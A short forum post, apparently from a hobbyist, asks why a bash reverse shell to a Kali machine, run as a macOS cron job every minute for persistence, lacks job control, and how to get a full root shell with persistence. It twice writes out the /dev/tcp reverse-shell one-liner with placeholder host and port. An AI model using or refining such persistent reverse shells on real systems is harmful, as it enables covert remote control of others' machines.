Well, i found out about cron jobs on osx and i was playing aroung with it and tryin the tool. The thing is.. when i use the reverse bin bash shell on the terminal (bash -i >& /dev/tcp/myip/theport 0>&1) i can get a root shell on the kali machine as root with no problem. When i create the cron job to run the script every 1 min (/1 bash -i >& /dev/tcp/myip/myport 0>&1) i get the shell but unffortunetly i cant use all the commands because it gives me an error: bash no job control in this shell. Does anybody know how to get the root shell on kali with that kind of persistence or any other kind?
Thanks for the attention!